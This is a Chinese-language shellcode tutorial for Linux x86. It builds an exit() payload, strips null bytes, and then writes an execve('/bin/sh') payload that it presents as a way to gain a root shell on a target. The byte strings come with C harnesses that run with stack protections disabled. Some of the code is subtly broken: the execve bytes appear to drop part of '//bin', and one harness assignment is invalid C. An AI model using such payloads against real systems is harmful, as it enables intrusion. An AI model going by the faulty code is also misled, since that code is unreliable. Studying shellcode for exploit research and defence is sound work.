0x01 理解系统调用

shellcode是一组可注入的指令,可以在被攻击的程序中运行。由于shellcode要直接操作寄存器和函数,所以必须是十六进制的形式。
那么为什么要写shellcode呢?因为我们要让目标程序以不同于设计者预期的方式运行,而操作的程序的方法之一就是强制它产生系统调用(system,call,syscall)。通过系统调用,你可以直接访问系统内核。
在Linux里有两个方法来执行系统调用,间接的方法是c函数包装(libc),直接的方法是用汇编指令(通过把适当的参数加载到寄存器,然后调用int 0x80软中断)

废话不多说,我们先来看看最常见的系统调用exit(),就是终止当前进程。

(注:本文测试系统是ubuntu-17.04 x86)

main()
{
    exit(0);
}

(编译时使用static选项,防止使用动态链接,在程序里保留exit系统调用代码)
gcc -static -o exit exit.c

用gdb反汇编生成的二进制文件:

_exit+0行是把系统调用的参数加载到ebx。
_exit+4和_exit+15行是把对应的系统调用编号分别被复制到eax。
最后的int 0x80指令把cpu切换到内核模式,并执行我们的系统调用。

0x02 为exit()系统调用写shellcode

在基本了解了一下exit()系统调用后,就可以开始写shellcode了~
要注意的是我们的shellcode应该尽量地简洁紧凑,这样才能注入更小的缓冲区(当你遇到n字节长的缓冲区时,你不仅要把整个shellcode复制到缓冲区,还要加上调用shellcode的指令,所以shellcode必须比n小)。
在实际环境中,shellcode将在没有其他指令为它设置参数的情况下执行,所以我们必须自己设置参数。这里我们先通过将0放入ebx中的方法来设置参数。
步骤大概是:

  • 把0存到ebx
  • 把1存到eax
  • 执行int 0x80指令来产生系统调用

根据这三个步骤来写汇编指令:

Section .text
        global _start
_start:
        mov ebx, 0
        mov ax, 1
        int 0x80

然后用nasm编译,生成目标文件,再用gun ld来连接:

nasm -f elf32 exit_shellcode.asm
ld -i exit_shellcode exit_shellcode.o

然后objdump就能显示相应的opcode了:

看起来好像是成功了。但是很遗憾,这个shellcode在实际攻击中可能会无法使用。
可以看到,这串shellcode中还有一些NULL(\x00)字符,当我们把shellcode复制到缓冲区时,有时候会出现异常(因为字符数组用null做终止符)。要编写真正有用的shellcode我们还要想办法把\x00消去。

首先我们看第一条指令(mov ebx, 0)将0放入ebx中。熟悉汇编的话就会知道,xor指令在操作数相等的情况下返回0,也就是可以在指令里不使用0,但是结果返回0,那么我们就可以用xor来代替mov指令了。
mov ebx, 0 --> xor ebx, ebx

再看第二条指令(mov ax, 1)为什么这条指令也会有null呢?我们知道,eax是32位(4个字节)的寄存器,而我们只复制了1个字节到了寄存器,而剩下的部分,系统会自动用null填充。熟悉eax组成的就知道,eax分为两个16位区域,用ax可以访问第一个区域,而ax又分为al和ah两个区域。那么解决方法就是只要把1复制到al就行了。
mov eax, 1 --> mov al, 1
至此,我们已经将所有的null都清除了。

Section .text
        global _start
_start:
        xor ebx, ebx
        mov al, 1
        int 0x80

嗯,已经没有\x00了。接下来就可以编写个c程序来测试这个shellcode了。

char shellcode[] = "\x31\xdb"
                   "\xb0\x01"
                   "\xcd\x80";
int main()
{
    int *ret;
    ret = (int *)&ret + 2;
    (&ret) = (int)shellcode;
}

编译后用strace来查看系统调用:

0x03 编写execve()的shellcode

exit()可能没什么意思,接下来我们做点更有趣的事情-派生root shell-控制整个目标系统。
在Linux里,有两种方法创建新进程:一是通过现有的进程来创建,并替换正在活动的;二是利用现有的进程来生成它自己的拷贝,并在它的位置运行这个新进程。而execve()系统调用就可以在现有的进程空间里执行其他的进程。
接下来我们开始一步步写execve的shellcode:

1.查找execve的系统调用号码:

可以在如图的系统目录中找到execve的系统调用号码:11

2.接下来我们需要知道它作为输入的参数,用man手册就可以查看:


3个参数必须包含以下内容:

  • filename必须指向包含要执行的二进制文件的路径的字符串。在这个栗子中,就是字符串[/ bin / sh]。
  • argv []是程序的参数列表。大多数程序将使用强制性/选项参数运行。而我们只想执行“/ bin / sh”,而没有任何更多的参数,所以参数列表只是一个NULL指针。但是,按照惯例,第一个参数是我们要执行的文件名。所以,argv []就是['/ bin / sh',00000000]
  • envp []是要以key:value格式传递给程序的任何其他环境选项的列表。为了我们的目的,这将是NULL指针\0x00000000

3.和exit()一样,我们使用int 0x80的系统调用。注意要在eax中包含execve的系统调用号“11”。

4.接下来就可以开始编写shellcode了,节约时间,我在这直接放上写好的shellcode并加上了注释:

需要解释的是向堆栈中反向推送//bin/sh。我们知道在x86堆栈中是从高地址到低地址的,所以要输入反向的字符串。同样,使用为4的倍数的最短指令会更容易些。
而/bin/sh是7个字节,怎么把它变成8个字节呢?很简单,加个/就ok了。因为在Linux中,多几个/都不会有问题的,像这样:p

然后用python来生成hs/nib//的十六进制吧:

然后将它们入栈就好。其他的看注释应该都能懂,就不多说了。

5.编译运行成功后用objdump查看:

这里分享一个方便提取shellcode的指令,来源

objdump -d ./execve-stack|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

6.shellcode已经提取成功了,接下来用c程序来验证一下:

#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
main()
{
  printf("Shellcode Length:  %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

编译运行
gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

成功:D

0x04 参考链接

http://www.vividmachines.com/shellcode/shellcode.html
http://www.cnblogs.com/feisky/archive/2009/10/23/1588737.html

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